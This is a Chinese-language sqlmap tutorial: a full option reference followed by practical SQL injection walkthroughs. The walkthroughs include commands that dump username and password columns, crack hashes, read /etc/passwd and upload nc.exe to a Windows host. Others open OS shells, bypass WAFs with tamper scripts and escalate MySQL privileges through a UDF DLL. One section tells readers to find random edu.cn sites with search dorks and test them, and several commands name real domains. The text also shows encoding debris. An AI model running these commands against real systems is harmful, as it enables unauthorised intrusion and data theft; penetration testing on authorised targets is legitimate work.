超详细SQLMap使用攻略及技巧分享
sqlmap是一個開源的滲透測試工具,可以用來進(jìn)行自動化檢測,利用SQL注入漏洞,獲取數(shù)據(jù)庫服務(wù)器的權(quán)限。它具有功能強(qiáng)大的檢測引擎,針對各種不同類型數(shù)據(jù)庫的滲透測試的功能選項,包括獲取數(shù)據(jù)庫中存儲的數(shù)據(jù),訪問操作系統(tǒng)文件甚至可以通過外帶數(shù)據(jù)連接的方式執(zhí)行操作系統(tǒng)命令。
sqlmap目前最新版本為1.1.8-8,相關(guān)資源如下:
官方網(wǎng)站:http://sqlmap.org/,
下載地址:https://github.com/sqlmapproject/sqlmap/zipball/master
演示視頻:https://asciinema.org/a/46601
教程:http://www.youtube.com/user/inquisb/videos
1.1 sqlmap簡介
sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等數(shù)據(jù)庫的各種安全漏洞檢測。
sqlmap支持五種不同的注入模式:
l? 基于布爾的盲注,即可以根據(jù)返回頁面判斷條件真假的注入;
l? 基于時間的盲注,即不能根據(jù)頁面返回內(nèi)容判斷任何信息,用條件語句查看時間延遲語句是否執(zhí)行(即頁面返回時間是否增加)來判斷;
l? 基于報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結(jié)果直接返回在頁面中;
l? 聯(lián)合查詢注入,可以使用union的情況下的注入;
l? 堆查詢注入,可以同時執(zhí)行多條語句的執(zhí)行時的注入。
1.2 下載及安裝
(1)linux下git直接安裝
gitclone –depth 1?https://github.com/sqlmapproject/sqlmap.git?sqlmap-dev
(2)windows下安裝
windows下下載sqlmap的壓縮包,解壓后即可使用。但需要一些組件包的支持,需要有python2.7.x或者2.6.x環(huán)境支持。
(3)kali及PentestBox默認(rèn)安裝sqlmap
1.3 SQL使用參數(shù)詳解
本文以SQLmap 1.1.8-8版本為例,對其所有參數(shù)進(jìn)行詳細(xì)的分析和講解,便于在使用時進(jìn)行查詢。
用法: sqlmap.py [選項]
1.3.1 選項
?-h,–help? 顯示基本幫助信息并退出
?-hh??? 顯示高級幫助信息并退出
?–version? 顯示程序版本信息并退出
-vVERBOSE信息級別: 0-6 (缺省1),其值具體含義:“0”只顯示python錯誤以及嚴(yán)重的信息;1同時顯示基本信息和警告信息(默認(rèn));“2”同時顯示debug信息;“3”同時顯示注入的payload;“4”同時顯示HTTP請求;“5”同時顯示HTTP響應(yīng)頭;“6”同時顯示HTTP響應(yīng)頁面;如果想看到sqlmap發(fā)送的測試payload最好的等級就是3。
1.3.2 目標(biāo)
在這些選項中必須提供至少有一個確定目標(biāo)
?-d DIRECT??? 直接連接數(shù)據(jù)庫的連接字符串
-u URL, –url=URL?? 目標(biāo)URL (e.g.”http://www.site.com/vuln.php?id=1“),使用-u或者–url
-l LOGFILE???? 從Burp或者WebScarab代理日志文件中分析目標(biāo)
-x SITEMAPURL? 從遠(yuǎn)程網(wǎng)站地圖(sitemap.xml)文件來解析目標(biāo)
-m BULKFILE????? 將目標(biāo)地址保存在文件中,一行為一個URL地址進(jìn)行批量檢測。
-r REQUESTFILE?? 從文件加載HTTP請求,sqlmap可以從一個文本文件中獲取HTTP請求,這樣就可以跳過設(shè)置一些其他參數(shù)(比如cookie,POST數(shù)據(jù),等等),請求是HTTPS的時需要配合這個–force-ssl參數(shù)來使用,或者可以在Host頭后門加上:443
-g GOOGLEDORK???? 從谷歌中加載結(jié)果目標(biāo)URL(只獲取前100個結(jié)果,需要掛代理)
-c CONFIGFILE?????? 從配置ini文件中加載選項
1.3.3 請求
這些選項可以用來指定如何連接到目標(biāo)URL
–method=METHOD ?強(qiáng)制使用給定的HTTP方法(例如put)
??? --data=DATA? ?通過POST發(fā)送數(shù)據(jù)參數(shù),sqlmap會像檢測GET參數(shù)一樣檢測POST的參數(shù)。--data="id=1" -f --banner --dbs --users???–param-del=PARA..? 當(dāng)GET或POST的數(shù)據(jù)需要用其他字符分割測試參數(shù)的時候需要用到此參數(shù)。
???–cookie=COOKIE???? HTTP Cookieheader 值
???–cookie-del=COO..? 用來分隔cookie的字符串值
???–load-cookies=L..? Filecontaining cookies in Netscape/wget format
???–drop-set-cookie?? IgnoreSet-Cookie header from response
???–user-agent=AGENT? 默認(rèn)情況下sqlmap的HTTP請求頭中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用–user-agent參數(shù)來修改,同時也可以使用–random-agent參數(shù)來隨機(jī)的從./txt/user-agents.txt中獲取。當(dāng)–level參數(shù)設(shè)定為3或者3以上的時候,會嘗試對User-Angent進(jìn)行注入
???–random-agent???? 使用random-agent作為HTTP User-Agent頭值
???–host=HOST???????? HTTP Hostheader value
???–referer=REFERER?? sqlmap可以在請求中偽造HTTP中的referer,當(dāng)–level參數(shù)設(shè)定為3或者3以上的時候會嘗試對referer注入
???-H HEADER, –hea..? 額外的http頭(e.g.”X-Forwarded-For: 127.0.0.1″)
???–headers=HEADERS? 可以通過–headers參數(shù)來增加額外的http頭(e.g.”Accept-Language: fr\nETag: 123″)
???–auth-type=AUTH.. HTTP的認(rèn)證類型 (Basic, Digest, NTLM or PKI)
???–auth-cred=AUTH..? HTTP 認(rèn)證憑證(name:password)
???–auth-file=AUTH..? HTTP 認(rèn)證PEM證書/私鑰文件;當(dāng)Web服務(wù)器需要客戶端證書進(jìn)行身份驗證時,需要提供兩個文件:key_file,cert_file,key_file是格式為PEM文件,包含著你的私鑰,cert_file是格式為PEM的連接文件。
???–ignore-401??????? Ignore HTTPError 401 (Unauthorized)忽略HTTP 401錯誤(未授權(quán)的)
???–ignore-proxy????? 忽略系統(tǒng)的默認(rèn)代理設(shè)置
???–ignore-redirects忽略重定向的嘗試
???–ignore-timeouts?? 忽略連接超時
???–proxy=PROXY?????? 使用代理服務(wù)器連接到目標(biāo)URL
???–proxy-cred=PRO..? 代理認(rèn)證憑證(name:password)
???–proxy-file=PRO..? 從文件加載代理列表
???–tor?????????????? 使用Tor匿名網(wǎng)絡(luò)
???–tor-port=TORPORT? 設(shè)置Tor代理端口
???–tor-type=TORTYPE? 設(shè)置Tor代理類型 (HTTP,SOCKS4 or SOCKS5 (缺省))
???–check-tor?????? 檢查Tor的是否正確使用
???–delay=DELAY? ?可以設(shè)定兩個HTTP(S)請求間的延遲,設(shè)定為0.5的時候是半秒,默認(rèn)是沒有延遲的。
???–timeout=TIMEOUT?? 可以設(shè)定一個HTTP(S)請求超過多久判定為超時,10表示10秒,默認(rèn)是30秒。
???–retries=RETRIES?? 當(dāng)HTTP(S)超時時,可以設(shè)定重新嘗試連接次數(shù),默認(rèn)是3次。
???–randomize=RPARAM可以設(shè)定某一個參數(shù)值在每一次請求中隨機(jī)的變化,長度和類型會與提供的初始值一樣
???–safe-url=SAFEURL? 提供一個安全不錯誤的連接,每隔一段時間都會去訪問一下
???–safe-post=SAFE..? 提供一個安全不錯誤的連接,每次測試請求之后都會再訪問一遍安全連接。
???–safe-req=SAFER..? 從文件中加載安全HTTP請求
???–safe-freq=SAFE..? 測試一個給定安全網(wǎng)址的兩個訪問請求
???–skip-urlencode??? 跳過URL的有效載荷數(shù)據(jù)編碼
???–csrf-token=CSR..? Parameter usedto hold anti-CSRF token參數(shù)用來保存反CSRF令牌
???–csrf-url=CSRFURL? URL地址訪問提取anti-CSRF令牌
???–force-ssl???????? 強(qiáng)制使用SSL/HTTPS
???–hpp?????????????? 使用HTTP參數(shù)污染的方法
???–eval=EVALCODE ????在有些時候,需要根據(jù)某個參數(shù)的變化,而修改另個一參數(shù),才能形成正常的請求,這時可以用–eval參數(shù)在每次請求時根據(jù)所寫python代碼做完修改后請求。(e.g “import hashlib;id2=hashlib.md5(id).hexdigest()”)
?sqlmap.py -u”http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b“–eval=”import hashlib;hash=hashlib.md5(id).hexdigest()”
1.3.4 優(yōu)化
這些選項可用于優(yōu)化sqlmap性能
-o?????????????? 打開所有的優(yōu)化開關(guān)
–predict-output??? 預(yù)測普通查詢輸出
–keep-alive??????? 使用持久HTTP(S)連接
–null-connection?? 獲取頁面長度
–threads=THREADS?? 當(dāng)前http(s)最大請求數(shù) (默認(rèn) 1)
1.3.5 注入
這些選項可用于指定要測試的參數(shù)、提供自定義注入有效載荷和可選的篡改腳本。
???-p TESTPARAMETER??? 可測試的參數(shù)
???–skip=SKIP???????? 跳過對給定參數(shù)的測試
???–skip-static?????? 跳過測試不顯示為動態(tài)的參數(shù)
???–param-exclude=..? 使用正則表達(dá)式排除參數(shù)進(jìn)行測試(e.g. “ses”)
???–dbms=DBMS???????? 強(qiáng)制后端的DBMS為此值
???–dbms-cred=DBMS..? DBMS認(rèn)證憑證(user:password)
???–os=OS??????????? 強(qiáng)制后端的DBMS操作系統(tǒng)為這個值
???–invalid-bignum??? 使用大數(shù)字使值無效
???–invalid-logical?? 使用邏輯操作使值無效
???–invalid-string??? 使用隨機(jī)字符串使值無效
???–no-cast????????? 關(guān)閉有效載荷鑄造機(jī)制
???–no-escape???????? 關(guān)閉字符串逃逸機(jī)制
???–prefix=PREFIX ????注入payload字符串前綴
???–suffix=SUFFIX???? 注入payload字符串后綴
???–tamper=TAMPER?? 使用給定的腳本篡改注入數(shù)據(jù)
1.3.6 檢測
這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應(yīng)頁面的內(nèi)容
???–level=LEVEL???? 執(zhí)行測試的等級(1-5,默認(rèn)為1)
???–risk=RISK?????? 執(zhí)行測試的風(fēng)險(0-3,默認(rèn)為1)
???–string=STRING??? 查詢時有效時在頁面匹配字符串
???–not-string=NOT..? 當(dāng)查詢求值為無效時匹配的字符串
???–regexp=REGEXP??? ?查詢時有效時在頁面匹配正則表達(dá)式
???–code=CODE?????? 當(dāng)查詢求值為True時匹配的HTTP代碼
???–text-only??????? 僅基于在文本內(nèi)容比較網(wǎng)頁
???–titles?????????? 僅根據(jù)他們的標(biāo)題進(jìn)行比較
1.3.7 技巧
?這些選項可用于調(diào)整具體的SQL注入測試
???–technique=TECH??? SQL注入技術(shù)測試(默認(rèn)BEUST)
???–time-sec=TIMESEC? DBMS響應(yīng)的延遲時間(默認(rèn)為5秒)
???–union-cols=UCOLS? 定列范圍用于測試UNION查詢注入
???–union-char=UCHAR? 暴力猜測列的字符數(shù)
???–union-from=UFROM? SQL注入UNION查詢使用的格式
???–dns-domain=DNS..? DNS泄露攻擊使用的域名
???–second-order=S..? URL搜索產(chǎn)生的結(jié)果頁面
1.3.8 指紋
-f, –fingerprint?? 執(zhí)行廣泛的DBMS版本指紋檢查
1.3.9 枚舉
這些選項可以用來列舉后端數(shù)據(jù)庫管理系統(tǒng)的信息、表中的結(jié)構(gòu)和數(shù)據(jù)。此外,您還可以運(yùn)行自定義的SQL語句。
???-a, –all?????????? 獲取所有信息
???-b, –banner??????? 獲取數(shù)據(jù)庫管理系統(tǒng)的標(biāo)識
???–current-user????? 獲取數(shù)據(jù)庫管理系統(tǒng)當(dāng)前用戶
???–current-db??????? 獲取數(shù)據(jù)庫管理系統(tǒng)當(dāng)前數(shù)據(jù)庫
??? –hostname???????? 獲取數(shù)據(jù)庫服務(wù)器的主機(jī)名稱
???–is-dba??????????? 檢測DBMS當(dāng)前用戶是否DBA
???–users???????????? 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶
???–passwords???????? 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶密碼哈希
???–privileges??????? 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的權(quán)限
???–roles??????????? 枚舉數(shù)據(jù)庫管理系統(tǒng)用戶的角色
???–dbs???????????? 枚舉數(shù)據(jù)庫管理系統(tǒng)數(shù)據(jù)庫
???–tables??????????? 枚舉的DBMS數(shù)據(jù)庫中的表
???–columns????????? 枚舉DBMS數(shù)據(jù)庫表列
???–schema??????????? 枚舉數(shù)據(jù)庫架構(gòu)
???–count???????????? 檢索表的項目數(shù),有時候用戶只想獲取表中的數(shù)據(jù)個數(shù)而不是具體的內(nèi)容,那么就可以使用這個參數(shù):sqlmap.py?-u url –count?-D?testdb
???–dump??????????? 轉(zhuǎn)儲數(shù)據(jù)庫表項
??? –dump-all????????? 轉(zhuǎn)儲數(shù)據(jù)庫所有表項
???–search?????????? 搜索列(S),表(S)和/或數(shù)據(jù)庫名稱(S)
???–comments????????? 獲取DBMS注釋
???-D DB?????????????? 要進(jìn)行枚舉的指定數(shù)據(jù)庫名
???-T TBL????????????? DBMS數(shù)據(jù)庫表枚舉
???-C COL???????????? DBMS數(shù)據(jù)庫表列枚舉
???-X EXCLUDECOL???? DBMS數(shù)據(jù)庫表不進(jìn)行枚舉
???-U USER?????????? 用來進(jìn)行枚舉的數(shù)據(jù)庫用戶
???–exclude-sysdbs??? 枚舉表時排除系統(tǒng)數(shù)據(jù)庫
???–pivot-column=P..? Pivot columnname
???–where=DUMPWHERE?? Use WHEREcondition while table dumping
???–start=LIMITSTART? 獲取第一個查詢輸出數(shù)據(jù)位置
???–stop=LIMITSTOP?? 獲取最后查詢的輸出數(shù)據(jù)
???–first=FIRSTCHAR?? 第一個查詢輸出字的字符獲取
???–last=LASTCHAR??? 最后查詢的輸出字字符獲取
???–sql-query=QUERY?? 要執(zhí)行的SQL語句
???–sql-shell???????? 提示交互式SQL的shell
???–sql-file=SQLFILE? 要執(zhí)行的SQL文件
1.3.10 暴力
這些選項可以被用來運(yùn)行暴力檢查
???–common-tables???? 檢查存在共同表
???–common-columns??? 檢查存在共同列
1.3.11 用戶自定義函數(shù)注入
這些選項可以用來創(chuàng)建用戶自定義函數(shù)
???–udf-inject??? 注入用戶自定義函數(shù)
???–shared-lib=SHLIB? 共享庫的本地路徑
1.3.12 訪問文件系統(tǒng)
這些選項可以被用來訪問后端數(shù)據(jù)庫管理系統(tǒng)的底層文件系統(tǒng)
???–file-read=RFILE?? 從后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)讀取文件,SQL Server2005中讀取二進(jìn)制文件example.exe:
sqlmap.py -u”http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther“–file-read “C:/example.exe” -v 1
???–file-write=WFILE? 編輯后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)上的本地文件
???–file-dest=DFILE?? 后端的數(shù)據(jù)庫管理系統(tǒng)寫入文件的絕對路徑
在kali中將/software/nc.exe文件上傳到C:/WINDOWS/Temp下:
python sqlmap.py -u”http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” –file-write”/software/nc.exe” –file-dest “C:/WINDOWS/Temp/nc.exe” -v1
1.3.13 操作系統(tǒng)訪問
這些選項可以用于訪問后端數(shù)據(jù)庫管理系統(tǒng)的底層操作系統(tǒng)
???–os-cmd=OSCMD?? 執(zhí)行操作系統(tǒng)命令(OSCMD)
???–os-shell????????? 交互式的操作系統(tǒng)的shell
???–os-pwn????????? 獲取一個OOB shell,meterpreter或VNC
???–os-smbrelay?????? 一鍵獲取一個OOBshell,meterpreter或VNC
???–os-bof?????????? 存儲過程緩沖區(qū)溢出利用
???–priv-esc????????? 數(shù)據(jù)庫進(jìn)程用戶權(quán)限提升
???–msf-path=MSFPATH? MetasploitFramework本地的安裝路徑
???–tmp-path=TMPPATH? 遠(yuǎn)程臨時文件目錄的絕對路徑
linux查看當(dāng)前用戶命令:
sqlmap.py -u”http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” –os-cmd id -v1
1.3.14 Windows注冊表訪問
這些選項可以被用來訪問后端數(shù)據(jù)庫管理系統(tǒng)Windows注冊表
???–reg-read????????? 讀一個Windows注冊表項值
???–reg-add?????????? 寫一個Windows注冊表項值數(shù)據(jù)
???–reg-del?????????? 刪除Windows注冊表鍵值
???–reg-key=REGKEY??? Windows注冊表鍵
???–reg-value=REGVAL? Windows注冊表項值
???–reg-data=REGDATA? Windows注冊表鍵值數(shù)據(jù)
???–reg-type=REGTYPE? Windows注冊表項值類型
1.3.15 一般選項
這些選項可以用來設(shè)置一些一般的工作參數(shù)
???-s SESSIONFILE???? 保存和恢復(fù)檢索會話文件的所有數(shù)據(jù)
???-t TRAFFICFILE????? 記錄所有HTTP流量到一個文本文件中
???–batch??????????? 從不詢問用戶輸入,使用所有默認(rèn)配置。
???–binary-fields=..? 結(jié)果字段具有二進(jìn)制值(e.g.”digest”)
???–charset=CHARSET?? 強(qiáng)制字符編碼
?
資料來自:https://www.freebuf.com/sectool/164608.html
???–crawl=CRAWLDEPTH? 從目標(biāo)URL爬行網(wǎng)站
???–crawl-exclude=..? 正則表達(dá)式從爬行頁中排除
???–csv-del=CSVDEL??? 限定使用CSV輸出 (default”,”)
???–dump-format=DU..? 轉(zhuǎn)儲數(shù)據(jù)格式(CSV(default), HTML or SQLITE)
???–eta????????????? 顯示每個輸出的預(yù)計到達(dá)時間
???–flush-session???? 刷新當(dāng)前目標(biāo)的會話文件
???–forms?????????? 解析和測試目標(biāo)URL表單
??? –fresh-queries???? 忽略在會話文件中存儲的查詢結(jié)果
???–hex???????????? 使用DBMS Hex函數(shù)數(shù)據(jù)檢索
???–output-dir=OUT..? 自定義輸出目錄路徑
???–parse-errors????? 解析和顯示響應(yīng)數(shù)據(jù)庫錯誤信息
???–save=SAVECONFIG?? 保存選項到INI配置文件
???–scope=SCOPE??? 從提供的代理日志中使用正則表達(dá)式過濾目標(biāo)
???–test-filter=TE..? 選擇測試的有效載荷和/或標(biāo)題(e.g. ROW)
???–test-skip=TEST..? 跳過試驗載荷和/或標(biāo)題(e.g.BENCHMARK)
???–update??????????? 更新sqlmap
1.3.16 其他
???-z MNEMONICS??????? 使用短記憶法 (e.g.”flu,bat,ban,tec=EU”)
???–alert=ALERT?????? 發(fā)現(xiàn)SQL注入時,運(yùn)行主機(jī)操作系統(tǒng)命令
???–answers=ANSWERS?? 當(dāng)希望sqlmap提出輸入時,自動輸入自己想要的答案(e.g. “quit=N,follow=N”),例如:sqlmap.py -u”http://192.168.22.128/get_int.php?id=1“–technique=E–answers=”extending=N” –batch
???–beep??? 發(fā)現(xiàn)sql注入時,發(fā)出蜂鳴聲。
???–cleanup???? 清除sqlmap注入時在DBMS中產(chǎn)生的udf與表。
???–dependencies????? Check formissing (non-core) sqlmap dependencies
???–disable-coloring? 默認(rèn)彩色輸出,禁掉彩色輸出。
???–gpage=GOOGLEPAGE 使用前100個URL地址作為注入測試,結(jié)合此選項,可以指定頁面的URL測試
???–identify-waf????? 進(jìn)行WAF/IPS/IDS保護(hù)測試,目前大約支持30種產(chǎn)品的識別
???–mobile???? 有時服務(wù)端只接收移動端的訪問,此時可以設(shè)定一個手機(jī)的User-Agent來模仿手機(jī)登陸。
???–offline?????????? Work inoffline mode (only use session data)
???–purge-output???? 從輸出目錄安全刪除所有內(nèi)容,有時需要刪除結(jié)果文件,而不被恢復(fù),可以使用此參數(shù),原有文件將會被隨機(jī)的一些文件覆蓋。
???–skip-waf????????? ?跳過WAF/IPS / IDS啟發(fā)式檢測保護(hù)
???–smart??????????? 進(jìn)行積極的啟發(fā)式測試,快速判斷為注入的報錯點進(jìn)行注入
???–sqlmap-shell????? 互動提示一個sqlmapshell
???–tmp-dir=TMPDIR??? 用于存儲臨時文件的本地目錄
???–web-root=WEBROOT? Web服務(wù)器的文檔根目錄(e.g.”/var/www”)
???–wizard?? 新手用戶簡單的向?qū)褂?#xff0c;可以一步一步教你如何輸入針對目標(biāo)注入
1.4 實際利用
1.4.1 檢測和利用SQL注入
1.手工判斷是否存在漏洞
對動態(tài)網(wǎng)頁進(jìn)行安全審計,通過接受動態(tài)用戶提供的GET、POST、Cookie參數(shù)值、User-Agent請求頭。
原始網(wǎng)頁:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
構(gòu)造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1
構(gòu)造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2
如果url1訪問結(jié)果跟原始網(wǎng)頁一致,而url2跟原始網(wǎng)頁不一致,有出錯信息或者顯示內(nèi)容不一致,則證明存在SQL注入。
2. sqlmap自動檢測
檢測語法:sqlmap.py -u?http://192.168.136.131/sqlmap/mysql/get_int.php?id=1
技巧:在實際檢測過程中,sqlmap會不停的詢問,需要手工輸入Y/N來進(jìn)行下一步操作,可以使用參數(shù)“–batch”命令來自動答復(fù)和判斷。
3. 尋找和判斷實例
通過百度對“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”進(jìn)行搜索,搜索news.php/asp/aspx,站點為edu.cn,如圖1所示。隨機(jī)打開一個網(wǎng)頁搜索結(jié)果,如圖2所示,如果能夠正常訪問,則復(fù)制該URL地址。
圖1搜索目標(biāo)
圖2測試網(wǎng)頁能否正常訪問
? 將該url使用sqlmap進(jìn)行注入測試,如圖3所示,測試結(jié)果可能存在SQL注入,也可能不存在SQL注入,存在則可以進(jìn)行數(shù)據(jù)庫名稱,數(shù)據(jù)庫表以及數(shù)據(jù)的操作。本例中是不存在SQL注入漏洞。
圖3檢測URL地址是否存在漏洞
4. 批量檢測
將目標(biāo)url搜集并整理為txt文件,如圖4所示,所有文件都保存為tg.txt,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一個目錄下。
圖4批量整理目標(biāo)地址
1.4.2 直接連接數(shù)據(jù)庫
sqlmap.py -d”mysql://admin:admin@192.168.21.17:3306/testdb” -f –banner –dbs–users
1.4.3數(shù)據(jù)庫相關(guān)操作
1.列數(shù)據(jù)庫信息:–dbs
2.web當(dāng)前使用的數(shù)據(jù)庫–current-db
3.web數(shù)據(jù)庫使用賬戶–current-user
4.列出sqlserver所有用戶 –users
5.數(shù)據(jù)庫賬戶與密碼 –passwords
6.指定庫名列出所有表 ?-D database –tables
-D:指定數(shù)據(jù)庫名稱
7.指定庫名表名列出所有字段 -D antian365-T admin –columns
-T:指定要列出字段的表
8.指定庫名表名字段dump出指定字段
-D secbang_com -T admin -C? id,password ,username –dump
-D antian365 -T userb -C”email,Username,userpassword” –dump
? 可加雙引號,也可不加雙引號。
9.導(dǎo)出多少條數(shù)據(jù)
-D tourdata -T userb -C”email,Username,userpassword” –start 1 –stop 10 –dump?
參數(shù):
–start:指定開始的行
–stop:指定結(jié)束的行
此條命令的含義為:導(dǎo)出數(shù)據(jù)庫tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的數(shù)據(jù)內(nèi)容。
1.5 SQLMAP實用技巧
1. mysql的注釋方法進(jìn)行繞過WAF進(jìn)行SQL注入
(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py
return match.group().replace(word,”/*!0%s” % word) 為:
return match.group().replace(word,”/*!50000%s*/” % word)
(2)修改C:\Python27\sqlmap\xml\queries.xml
<cast query=”CAST(%s ASCHAR)”/>為:
<castquery=”convert(%s,CHAR)”/>
(3)使用sqlmap進(jìn)行注入測試
sqlmap.py -u”http://**.com/detail.php? id=16″ –tamper “halfversionedmorekeywords.py”
其它繞過waf腳本方法:
sqlmap.py-u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” –tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
(4)tamper目錄下文件具體含義:
space2comment.py用/**/代替空格
apostrophemask.py用utf8代替引號
equaltolike.pylike代替等號
space2dash.py 繞過過濾‘=’ 替換空格字符(”),(’–‘)后跟一個破折號注釋,一個隨機(jī)字符串和一個新行(’n’)
greatest.py 繞過過濾’>’ ,用GREATEST替換大于號。
space2hash.py空格替換為#號,隨機(jī)字符串以及換行符
apostrophenullencode.py繞過過濾雙引號,替換字符和雙引號。
halfversionedmorekeywords.py當(dāng)數(shù)據(jù)庫為mysql時繞過防火墻,每個關(guān)鍵字之前添加mysql版本評論
space2morehash.py空格替換為 #號 以及更多隨機(jī)字符串 換行符
appendnullbyte.py在有效負(fù)荷結(jié)束位置加載零字節(jié)字符編碼
ifnull2ifisnull.py 繞過對IFNULL過濾,替換類似’IFNULL(A,B)’為’IF(ISNULL(A), B, A)’
space2mssqlblank.py(mssql)空格替換為其它空符號
base64encode.py 用base64編碼替換
space2mssqlhash.py 替換空格
modsecurityversioned.py過濾空格,包含完整的查詢版本注釋
space2mysqlblank.py 空格替換其它空白符號(mysql)
between.py用between替換大于號(>)
space2mysqldash.py替換空格字符(”)(’ – ‘)后跟一個破折號注釋一個新行(’ n’)
multiplespaces.py圍繞SQL關(guān)鍵字添加多個空格
space2plus.py用+替換空格
bluecoat.py代替空格字符后與一個有效的隨機(jī)空白字符的SQL語句,然后替換=為like
nonrecursivereplacement.py雙重查詢語句,取代SQL關(guān)鍵字
space2randomblank.py代替空格字符(“”)從一個隨機(jī)的空白字符可選字符的有效集
sp_password.py追加sp_password’從DBMS日志的自動模糊處理的有效載荷的末尾
chardoubleencode.py雙url編碼(不處理以編碼的)
unionalltounion.py替換UNION ALLSELECT UNION SELECT
charencode.py url編碼
randomcase.py隨機(jī)大小寫
unmagicquotes.py寬字符繞過 GPCaddslashes
randomcomments.py用/**/分割sql關(guān)鍵字
charunicodeencode.py字符串 unicode 編碼
securesphere.py追加特制的字符串
versionedmorekeywords.py注釋繞過
space2comment.py替換空格字符串(‘‘) 使用注釋‘/**/’
halfversionedmorekeywords.py關(guān)鍵字前加注釋
2.?URL重寫SQL注入測試
value1為測試參數(shù),加“*”即可,sqlmap將會測試value1的位置是否可注入。
sqlmap.py -u”http://targeturl/param1/value1*/param2/value2/”
3. 列舉并破解密碼哈希值
? 當(dāng)前用戶有權(quán)限讀取包含用戶密碼的權(quán)限時,sqlmap會現(xiàn)列舉出用戶,然后列出hash,并嘗試破解。
sqlmap.py -u”http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” –passwords -v1
4. 獲取表中的數(shù)據(jù)個數(shù)
sqlmap.py -u”http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1” –count -Dtestdb
5.對網(wǎng)站secbang.com進(jìn)行漏洞爬去
sqlmap.py -u “http://www.secbang.com“–batch –crawl=3
6.基于布爾SQL注入預(yù)估時間
sqlmap.py -u “http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1“-b –eta
7.使用hex避免字符編碼導(dǎo)致數(shù)據(jù)丟失
sqlmap.py -u “http://192.168.48.130/pgsql/get_int.php?id=1” –banner –hex -v 3 –parse-errors
8.模擬測試手機(jī)環(huán)境站點
python sqlmap.py -u”http://www.target.com/vuln.php?id=1” –mobile
9.智能判斷測試
sqlmap.py -u “http://www.antian365.com/info.php?id=1“–batch –smart
10.結(jié)合burpsuite進(jìn)行注入
(1)burpsuite抓包,需要設(shè)置burpsuite記錄請求日志
sqlmap.py -r burpsuite抓包.txt
(2)指定表單注入
sqlmap.py -u URL –data“username=a&password=a”
11.sqlmap自動填寫表單注入
自動填寫表單:
sqlmap.py -u URL –forms
sqlmap.py -u URL –forms –dbs
sqlmap.py -u URL –forms –current-db
sqlmap.py -u URL –forms -D 數(shù)據(jù)庫名稱–tables
sqlmap.py -u URL –forms -D 數(shù)據(jù)庫名稱 -T 表名 –columns
sqlmap.py -u URL –forms -D 數(shù)據(jù)庫名稱 -T 表名 -Cusername,password –dump
12.讀取linux下文件
?sqlmap.py-u “url” –file /etc/password
13.延時注入
sqlmap.py -u URL –technique -T–current-user
14. sqlmap 結(jié)合burpsuite進(jìn)行post注入
結(jié)合burpsuite來使用sqlmap:
(1)瀏覽器打開目標(biāo)地址http://www.antian365.com
(2)配置burp代理(127.0.0.1:8080)以攔截請求
(3)點擊登錄表單的submit按鈕
(4)Burp會攔截到了我們的登錄POST請求
(5)把這個post請求復(fù)制為txt, 我這命名為post.txt 然后把它放至sqlmap目錄下
(6)運(yùn)行sqlmap并使用如下命令:
./sqlmap.py -r post.txt -p tfUPass15.sqlmap?cookies注入
sqlmap.py -u “http://127.0.0.1/base.PHP“–cookies “id=1″? –dbs –level 2
默認(rèn)情況下SQLMAP只支持GET/POST參數(shù)的注入測試,但是當(dāng)使用–level 參數(shù)且數(shù)值>=2的時候也會檢查cookie里面的參數(shù),當(dāng)>=3的時候?qū)z查User-agent和Referer。可以通過burpsuite等工具獲取當(dāng)前的cookie值,然后進(jìn)行注入:
?
sqlmap.py -u 注入點URL --cookie"id=xx" --level 3
sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)
sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns
sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump
?
?16.mysql提權(quán)
(1)連接mysql數(shù)據(jù)打開一個交互shell:
?
sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --sql-shell
select @@version;
select @@plugin_dir;
d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\
?
(2)利用sqlmap上傳lib_mysqludf_sys到MySQL插件目錄:
?
sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-write=d:/tmp/lib_mysqludf_sys.dll--file-dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll
CREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'
CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'
select sys_eval('ver');
?
17.執(zhí)行shell命令
sqlmap.py -u “url” –os-cmd=”netuser” /*執(zhí)行net user命令*/
sqlmap.py -u “url” –os-shell /*系統(tǒng)交互的shell*/
18.延時注入
?
sqlmap –dbs -u"url" –delay 0.5 /*延時0.5秒*/
sqlmap –dbs -u"url" –safe-freq /*請求2次*/
?
參考文章:
http://sqlmap.org/
https://github.com/sqlmapproject/sqlmap
https://github.com/sqlmapproject/sqlmap/wiki
https://sobug.com/article/detail/2
